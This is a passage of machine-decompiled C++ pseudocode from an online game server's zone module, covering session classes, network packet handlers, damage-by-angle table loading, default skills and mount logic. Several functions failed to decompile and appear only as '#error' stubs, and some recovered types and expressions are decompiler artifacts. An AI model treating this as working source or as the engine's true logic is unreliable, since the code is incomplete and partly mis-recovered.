"ShineObjectClass::ShineMobileObject::so_mobile_StopHere"); } //----- (0043EEA0) -------------------------------------------------------- void __thiscall ClientSession::ClientSession(ClientSession *this) { ClientSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; } // 5A1410: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (0043EEC0) -------------------------------------------------------- void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this) { ClientSessionNull *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSessionNull::_vftable_; } // 5A1420: using guessed type int (__stdcall *ClientSessionNull___vftable_)(int interval); //----- (0043EEE0) -------------------------------------------------------- void __thiscall ClientSession::_ClientSession(ClientSessionNull *this) { this->baseclass_0.baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0.baseclass_0); } // 5A1410: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (0043EEF0) -------------------------------------------------------- void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this) { ClientSessionManager *v1; // esi@1 v1 = this; ZoneBaseSessionManager::ZoneBaseSessionManager(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; } // 5A1430: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (0043EF10) -------------------------------------------------------- void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this) { this->baseclass_0.vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; ZoneBaseSessionManager::_ZoneBaseSessionManager(&this->baseclass_0); } // 5A1430: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (0043EF20) -------------------------------------------------------- int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval) { return ZoneBaseSession::CheckHeartBeat(&this->baseclass_0, 300); } //----- (0043EF30) -------------------------------------------------------- char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed) { char buffer; // [sp+0h] [bp-44h]@1 int v4; // [sp+1h] [bp-43h]@1 LOWORD(v4) = v4 & 0x3FF | 0x800; LOWORD(v4) = v4 & 0xFC07 | 7; buffer = 4; HIWORD(v4) = seed; return ZoneBaseSession::Send(&this->baseclass_0, &buffer, 5); } //----- (0043EF90) -------------------------------------------------------- char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock) { return startblock->machine >= 0xAu || startblock->machine == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; } //----- (0043EFC0) -------------------------------------------------------- #error "43EFC0: undefined or illegal type '#331' (funcsize=24)" //----- (0043F000) -------------------------------------------------------- void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this) { ZoneListenSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; } // 5A1438: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (0043F020) -------------------------------------------------------- void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneListenSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5A1438: using guessed type int (__stdcall *ZoneListenSession___vftable_)(int interval); //----- (0043F030) -------------------------------------------------------- ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneListenSession *v3; // esi@1 v3 = this; this->baseclass_0.m_Packet.vfptr->Clear(&this->baseclass_0.m_Packet); v3->baseclass_0.m_SocketIOCP.m_Socket = SocketAccept; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_family = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[2] = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[6] = *(_DWORD *)&pAddr->sa_data[6]; *(_DWORD *)&v3->baseclass_0.m_SocketIOCP.m_SocketAddr.sa_data[10] = *(_DWORD *)&pAddr->sa_data[10]; v3->baseclass_0.m_Status = 2; return v3; } //----- (0043F080) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); return result; } //----- (0043F0E0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_DWORD *)(this + 11) = *(_DWORD *)(a2 + 11); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_DWORD *)(this + 31) = *(_DWORD *)(a2 + 31); *(_DWORD *)(this + 35) = *(_DWORD *)(a2 + 35); *(_DWORD *)(this + 39) = *(_DWORD *)(a2 + 39); *(_BYTE *)(this + 43) = *(_BYTE *)(a2 + 43); return result; } //----- (0043F140) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::zls_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_DummyFunction"); } //----- (0043F1F0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ"); } //----- (0043F2C0) -------------------------------------------------------- #error "43F2C0: undefined or illegal type '#331' (funcsize=164)" //----- (0043F4F0) -------------------------------------------------------- #error "43F4F0: undefined or illegal type '#331' (funcsize=99)" //----- (0043F650) -------------------------------------------------------- #error "43F650: undefined or illegal type '#331' (funcsize=141)" //----- (0043F830) -------------------------------------------------------- #error "43F830: undefined or illegal type '#331' (funcsize=102)" //----- (0043F9A0) -------------------------------------------------------- #error "43F9A0: undefined or illegal type '#331' (funcsize=120)" //----- (0043FB50) -------------------------------------------------------- #error "43FB50: undefined or illegal type '#331' (funcsize=83)" //----- (0043FC90) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketExpBonus::zrpb_Request(&zonringpack_expbonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG"); } //----- (0043FD50) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( LOBYTE(netcmd[1].protocol) < 0xAu && LOBYTE(netcmd[1].protocol) != ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) ZoneRingPacketItemBonus::zrpb_Request(&zonringpack_itembonus, 0, netcmd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG"); } //----- (0043FE10) -------------------------------------------------------- #error "43FE10: undefined or illegal type '#331' (funcsize=146)" //----- (00440000) -------------------------------------------------------- #error "440000: undefined or illegal type '#331' (funcsize=102)" //----- (00440170) -------------------------------------------------------- int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions) { ClientSessionManager *v2; // esi@1 void *v3; // edi@1 ZoneBaseSession *v4; // ecx@2 void *v5; // eax@4 int v6; // ebx@5 int v7; // eax@7 int v8; // ecx@8 int v9; // edx@8 v2 = this; ZoneBaseSessionManager::FreeSessions(&this->baseclass_0); v3 = v2->csm_sock2client; if ( v3 ) { v4 = (ZoneBaseSession *)v2->csm_sock2client; *(_DWORD *)v3 = &ClientSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(v4); operator delete(v3); v2->csm_sock2client = 0; } if ( MaxSessions >= 1 ) { ZoneBaseSessionManager::InitSessions(&v2->baseclass_0, MaxSessions); v5 = operator new__(260 * MaxSessions + 4); if ( v5 ) { v6 = (int)((char *)v5 + 4); *(_DWORD *)v5 = MaxSessions; _eh_vector_constructor_iterator_( (char *)v5 + 4, 0x104u, MaxSessions, (void (__thiscall *)(void *))ClientSession::ClientSession, (void (__thiscall *)(void *))ClientSession::_ClientSession); } else { v6 = 0; } v7 = 0; v2->csm_sock2client = (ClientSession *)v6; if ( MaxSessions > 0 ) { v8 = 0; v9 = 0; do { v2->baseclass_0.m_pSessionListArray[v9].pSession = (ZoneBaseSession *)&v2->csm_sock2client[v8]; v2->csm_sock2client[v8].cs_sessionhandle = v7++; ++v9; ++v8; } while ( v7 < MaxSessions ); } } return 1; } // 5A1410: using guessed type int (__stdcall *ClientSession___vftable_)(int interval); //----- (00440250) -------------------------------------------------------- unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta) { int v2; // edi@1 unsigned __int16 result; // ax@8 v2 = delta; if ( delta < 0 ) v2 = -delta; if ( v2 > 90 ) v2 += -180 - 180 * (v2 - 91) / 0xB4u; if ( (v2 >= 0 || (v2 = -v2, v2 >= 0)) && v2 <= 90 ) { result = this->dt_DamageRate[v2]; } else { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::operator [] : Invalid delta", v2); result = 1000; } return result; } //----- (004402C0) -------------------------------------------------------- void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table) { int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 char v6; // bl@2 int v7; // eax@2 int i; // ebx@5 void *v9; // esi@6 bool v10; // zf@7 unsigned __int16 v11; // di@10 int v12; // edi@13 int v13; // edi@21 DamageByAngle::DamageTable *v14; // ebp@21 int j; // esi@26 ORToken v16; // [sp-18h] [bp-10934h]@6 int v17; // [sp-14h] [bp-10930h]@6 int v18; // [sp-10h] [bp-1092Ch]@6 int v19; // [sp-Ch] [bp-10928h]@6 int v20; // [sp-8h] [bp-10924h]@6 int v21; // [sp-4h] [bp-10920h]@6 DamageByAngle::DamageTable *v22; // [sp+10h] [bp-1090Ch]@1 ORToken *v23; // [sp+14h] [bp-10908h]@6 int buf; // [sp+18h] [bp-10904h]@1 int v25; // [sp+1Ch] [bp-10900h]@1 int v26; // [sp+20h] [bp-108FCh]@1 int v27; // [sp+24h] [bp-108F8h]@1 char v28; // [sp+28h] [bp-108F4h]@1 char path[128]; // [sp+38h] [bp-108E4h]@1 OptionReader or; // [sp+B8h] [bp-10864h]@1 unsigned int cookie; // [sp+1090Ch] [bp-10h]@34 int v32; // [sp+10918h] [bp-4h]@1 v22 = this; memset(this, 0, 0xB4u); this->dt_DamageRate[90] = 0; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v25 = v3; v5 = *(_DWORD *)&world->n4_name[12]; v26 = v4; v32 = 0; v27 = v5; v28 = 0; sprintf(path, "../9Data/Shine/World/%s/DamageByAngle.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/DamageByAngle.txt"); v6 = OptionReader::or_Read(&or, path); v7 = OptionReader::or_ErrorLine(&or); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Error in DamageByAngle.txt", v7); ShineExit("DamageByAngle::DamageTable::dt_Load"); } } for ( i = 0; ; ++i ) { v21 = i; v23 = &v16; v20 = 0; v19 = 0; v18 = 0; v17 = 0; *(_DWORD *)&v16.ort_Name[0] = 0; strncpy(v16.ort_Name, table, 0x14u); v9 = OptionReader::or_SelectFromOrder(&or, v16, v21); if ( !v9 ) break; v10 = *(_WORD *)v9 != *((_WORD *)v9 + 2); v23 = (ORToken *)(*(_WORD *)v9 == *((_WORD *)v9 + 2)); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : CheckSum Error", i); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v21 = *(_WORD *)v9; v11 = ShineRadian::sr_degree2sr(&shineradian, v21); v23 = (ORToken *)(v11 <= 0x5Au); if ( v11 > 0x5Au ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : angle must be in 0~180", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v12 = (int)((char *)v22 + 2 * v11); if ( *(_WORD *)v12 != 0 ) { v21 = *(_WORD *)v9; AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Duplicate angle", v21); ShineExit("DamageByAngle::DamageTable::dt_Load"); } *(_WORD *)v12 = *((_WORD *)v9 + 1); } if ( v22->dt_DamageRate[0] <= 0u || v22->dt_DamageRate[90] <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : there must be 0 and 180", 0); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v13 = 1; v14 = v22; do { if ( !v14->dt_DamageRate[1] ) { v10 = v14->dt_DamageRate[0] <= 0u; v23 = (ORToken *)(v14->dt_DamageRate[0] > 0u); if ( v10 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Upper Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } for ( j = v13 + 1; j <= 90; ++j ) { if ( v22->dt_DamageRate[j] ) break; } if ( j > 90 ) { AssertClass::ac_AssertFail(&shineassert, "DamageByAngle::DamageTable::dt_Load : Lower Bound not found", v13); ShineExit("DamageByAngle::DamageTable::dt_Load"); } v14->dt_DamageRate[1] = v14->dt_DamageRate[0] + (v22->dt_DamageRate[j] - v14->dt_DamageRate[0]) / (j - v13 + 1); } ++v13; v14 = (DamageByAngle::DamageTable *)((char *)v14 + 2); } while ( v13 < 90 ); v32 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (004405E0) -------------------------------------------------------- void __thiscall DefSkillData::dsd_Store(DefSkillData *this, unsigned __int16 skl, char tomage) { if ( this->dsd_Max >= 0x20u ) { AssertClass::ac_AssertFail(&shineassert, "DefSkillData::dsd_Store : Too many default skill", 0); ShineExit("DefSkillData::dsd_Store"); } this->dsd_Array[this->dsd_Max].skill = skl; this->dsd_Array[this->dsd_Max++].only2mage = tomage; } //----- (00440640) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err) { (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)this + 776))(8, 65, err); return err; } //----- (00440660) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 v1 = this; v2 = *(_DWORD *)(this + 57768); v3 = *(_WORD *)(this + 92136); *(_WORD *)(this + 92124) = -1; (*(void (__thiscall **)(int, int))(v2 + 32))(this + 57768, v3); return (*(int (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 72); } //----- (004406A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this) { *((_DWORD *)this + 23039) = 0; *((_DWORD *)this + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)this + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 23042) = 0; *((_BYTE *)this + 23380) = 0; return (*(int (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); } //----- (004406E0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this) { int v1; // esi@1 int v2; // eax@1 bool result; // al@2 int v4; // ecx@3 int v5; // edx@5 v1 = this; v2 = (**(int (__thiscall ***)(_DWORD, _DWORD))(this + 35568))(this + 35568, *(_WORD *)(this + 92126)); if ( v2 ) { v4 = *(_DWORD *)(v2 + 112); if ( v4 ) { v5 = *(_DWORD *)(v1 + 92128); if ( v5 && *(_DWORD *)(v5 + 4) ) { result = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 60))(v2) >= *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v1 + 92128) + 4) + 198); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : No info", 0); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Arrtibute", *(_WORD *)(v1 + 92126)); result = 1; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_HorseNotHungry : NULL Cell", *(_WORD *)(v1 + 92126)); result = 1; } return result; } //----- (00440790) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this) { unsigned int result; // eax@1 result = BTree::operator__(&stru_12510618, (const char *)(*(_DWORD *)(*(_DWORD *)(this + 92128) + 4) + 132)); if ( result == -1 ) result = 65535; return result; } //----- (004407C0) -------------------------------------------------------- void __thiscall DefSkillData::DefSkillData(DefSkillData *this) { DefSkillData *v1; // esi@1 v1 = this; this->dsd_Max = 0; DefSkillData::dsd_Store(this, 0x1770u, 1); DefSkillData::dsd_Store(v1, 0x7210u, 0); DefSkillData::dsd_Store(v1, 0x7211u, 0); DefSkillData::dsd_Store(v1, 0x7212u, 0); DefSkillData::dsd_Store(v1, 0x7213u, 0); DefSkillData::dsd_Store(v1, 0x7214u, 0); DefSkillData::dsd_Store(v1, 0x7215u, 0); } //----- (00440840) -------------------------------------------------------- void __thiscall DefSkillData::dsd_SetDefault(DefSkillData *this, PROTO_NC_CHAR_SKILL_CMD *data, CharClass *cc) { DefSkillData *v3; // edi@1 int v4; // edx@1 int v5; // eax@1 int v6; // ecx@2 signed int v7; // ecx@5 char *v8; // eax@6 int v9; // ebx@12 int v10; // ebp@13 int v11; // eax@17 char *v12; // eax@17 int v13; // eax@17 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "DefSkillData::dsd_SetDefault"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "DefSkillData::dsd_SetDefault"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; v5 = 0; if ( v3->dsd_Max > 0 ) { v6 = (int)&v3->dsd_Array[0].exist; do { *(_BYTE *)v6 = 0; ++v5; v6 += 4; } while ( v5 < v3->dsd_Max ); } if ( v3->dsd_Max > 0 ) { do { v7 = 0; if ( data->number ) { v8 = (char *)&data[1].number; while ( v3->dsd_Array[v4].skill != *(_WORD *)v8 ) { ++v7; v8 += 16; if ( v7 >= data->number ) goto LABEL_11; } v3->dsd_Array[v4].exist = 1; } LABEL_11: ++v4; } while ( v4 < v3->dsd_Max ); } v9 = 0; if ( v3->dsd_Max > 0 ) { v10 = (int)&v3->dsd_Array[0].exist; do { if ( ((int (*)(void))cc->vfptr->cc_BaseClass)() == 22 || !*(_BYTE *)(v10 + 1) ) { if ( !*(_BYTE *)v10 ) { *(&data[1].chrregnum + 4 * data->number) = 0; *(&data[2].chrregnum + 4 * data->number) = 0; v11 = 16 * (data->number + 1); *((_BYTE *)&data->chrregnum + v11) &= 0xF; v12 = (char *)&data[2].number + 16 * data->number + 1; *v12 &= 0xF0u; v13 = 16 * (data->number + 1); *((_BYTE *)&data->chrregnum + v13) &= 0xF0; *((_BYTE *)&data[2].number + 16 * data->number + 1) &= 0xFu; *(&data[3].chrregnum + 4 * data->number) = 0; *(&data[1].number + 8 * data->number++) = *(_WORD *)(v10 - 2); } } ++v9; v10 += 4; } while ( v9 < v3->dsd_Max ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "DefSkillData::dsd_SetDefault"); } //----- (004409F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot) { void *v2; // esi@1 int v3; // edx@1 int v4; // edi@1 signed int v5; // edx@2 CIDEB_Element *v6; // eax@6 int v7; // eax@13 int v8; // edx@14 int v9; // eax@14 char *v10; // eax@14 int v11; // eax@16 ChargedItemEffectFinger finger; // [sp+20h] [bp-14h]@2 FunctionEntarance _; // [sp+24h] [bp-10h]@1 int v14; // [sp+30h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_HorseCast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HorseCast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v14 = 0; (*(void (__thiscall **)(void *))(v3 + 2164))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2528))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2532))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2716))(v2); v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8892))((char *)v2 + 35568, slot); if ( v4 ) { *((_DWORD *)v2 + 23032) = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v14) = 1; v5 = -1; while ( v5 >= -1 ) { ++v5; finger.cief_Finger = v5; if ( v5 >= ridedatabox.cideb_Total ) break; if ( v5 < 0 ) v6 = 0; else v6 = &ridedatabox.cideb_Array[v5]; *((_DWORD *)v2 + 23032) = v6; if ( !v6 || !v6->ce_Data ) goto LABEL_17; if ( v6->ce_ItemID == *(_WORD *)(v4 + 8) ) goto LABEL_13; } finger.cief_Finger = -10; LABEL_13: v7 = *((_DWORD *)v2 + 23032); if ( v7 ) { v8 = *((_DWORD *)v2 + 14442); *((_DWORD *)v2 + 23033) = clockwatch.cw_CurrTick + ((signed int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v7 + 4) + 210) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *(_WORD *)(*(_DWORD *)(v7 + 4) + 210) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v9 = *((_WORD *)v2 + 28886); *((_WORD *)v2 + 46068) = v9; *((_WORD *)v2 + 46062) = slot; *((_WORD *)v2 + 46063) = slot; (*(void (__thiscall **)(char *, int, signed int, int))(v8 + 36))((char *)v2 + 57768, v9, 9, slot); ++*((_WORD *)v2 + 28886); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8263; *((_WORD *)v10 + 1) = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 23032) + 4) + 210); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_HorseCast : Packet Too Long", 4); } } LABEL_17: LOBYTE(v14) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HorseCast"); } //----- (00440C10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot) { void *v4; // ebp@1 int v5; // edx@3 int v6; // ebx@3 int v7; // eax@3 char *v8; // esi@3 int v9; // esi@3 int v10; // eax@3 ZoneBaseSession *v11; // eax@5 char *v12; // [sp+8h] [bp-24h]@2 ITEM_INVEN inv; // [sp+18h] [bp-14h]@3 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v15; // [sp+28h] [bp-4h]@1 int slota; // [sp+38h] [bp+Ch]@3 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemAttrSave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( slot >= 0 ) { v5 = *((_DWORD *)v4 + 14442); v6 = *(_DWORD *)(ridecell + 112); v7 = (itembox << 10) | slot & 0x3FF; inv.Inven = ((_WORD)itembox << 10) | slot & 0x3FF; LOWORD(v7) = *((_WORD *)v4 + 28886); slota = (int)((char *)v4 + 57768); (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(v5 + 48))(v7, ridecell, ridecell, &inv, &inv); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v8 + 4) = *((_WORD *)v4 + 28886); *(_DWORD *)(v8 + 10) = *(_DWORD *)ridecell; *(_DWORD *)(v8 + 14) = *(_DWORD *)(ridecell + 4); *((_WORD *)v8 + 9) = *(_WORD *)(ridecell + 8); memcpy(v8 + 20, (const void *)(ridecell + 10), 0x65u); (*(void 